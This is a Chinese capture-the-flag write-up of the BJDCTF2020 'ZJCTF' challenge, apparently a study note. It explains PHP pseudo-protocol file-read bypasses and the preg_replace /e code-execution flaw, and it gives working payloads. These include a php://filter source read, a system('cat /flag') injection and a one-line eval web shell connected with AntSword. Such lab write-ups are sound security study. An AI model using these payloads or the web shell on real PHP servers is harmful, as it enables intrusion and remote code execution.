[刷题记录][伪协议绕过 & 正则匹配任意执行漏洞]ZJCTF,不过如此 [BJDCTF2020]
[BJDCTF2020]ZJCTF,不过如此
前置知识
file_get_contents 伪协议绕过
对于 file_get_contents() 函数索要包含的文件内容,不一定只有文件名。还可以可以利用 php 伪协议,链接等进行包含,从而达到包含(写入)自己所需内容的目的
补充一点:伪协议也可以用于读取文件
preg_replace 函数 /e 模式任意代码执行漏洞
preg_replace() 函数原型:
preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e 修正符使 preg_replace()将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
例子
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)
关于正则匹配的一些修饰符
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。
后面的 \\1 实际上就是指 \1,数字几就代表第几个捕获组,\ 谁,就匹配第几个。
在 php 中,双引号里面如果包含有变量,php 解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
所以,preg_replace \e 模式如果 replacement 中是双引号的,那有此代码任意执行漏洞
php 可变变量
在 php 中有时候使用可变变量名是很方便的。就是说,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如:
<?php
$a = 'hello';
?>
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:
<?php
$$a = 'world';
?>
这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:
<?php
echo "$a ${$a}";
?>
与以下语句输出完全相同的结果:
<?php
echo "$a $hello";
?>
在本题中,需要用到的是 ${$a} 这种变量格式
题目
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
上来直接给源码
第一个 file_get_contents 使用伪协议绕过, 同时依据提示读取 next.php 的内容
payload 有以下几种构造方式
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
?????????↓
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
//input的内容由post方法传递
解码结果
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
审计一下可以看出是一个 preg_replace 任意代码执行漏洞
可以开始构造 payload
?\S*=${getFlag()}&cmd=system('cat /flag');
其中,cat 为 linux 命令,故要用 system 函数执行(system 函数内要有双引号)
[\s]--- 表示,只要出现空白就匹配;
[\S]--- 表示,非空白就匹配;
星号 "*" 为量词
常用量词 | {m,n} 等价形式 | 说明 |
---|---|---|
* | {0,} | 可能出现,也可能不出现,出现次数没有上限 |
+ | {1,} | 至少出现 1 次,出现次数没有上限 |
? | {0,1} | 至多出现 1 次,也可能不出现 |
也可借此写入一句话木马
next.php?\S*=${eval($_POST[cmd])}
使用蚁剑连接后获得 flag
ps: 蚁剑连接的时候连接需要把后面的命令也包含进来
http://3365dd73-8650-4c46-a773-a536b0d8b499.node4.buuoj.cn:81/next.php?\S*=${eval($_POST[cmd])}
最近在学习护网相关,好久没刷题了。这个笔记其实是很早以前写的了。
鉴于战队新规颁布了,刚好把以前的笔记存货慢慢搬上来。
刷题容易,做笔记难 (´д`)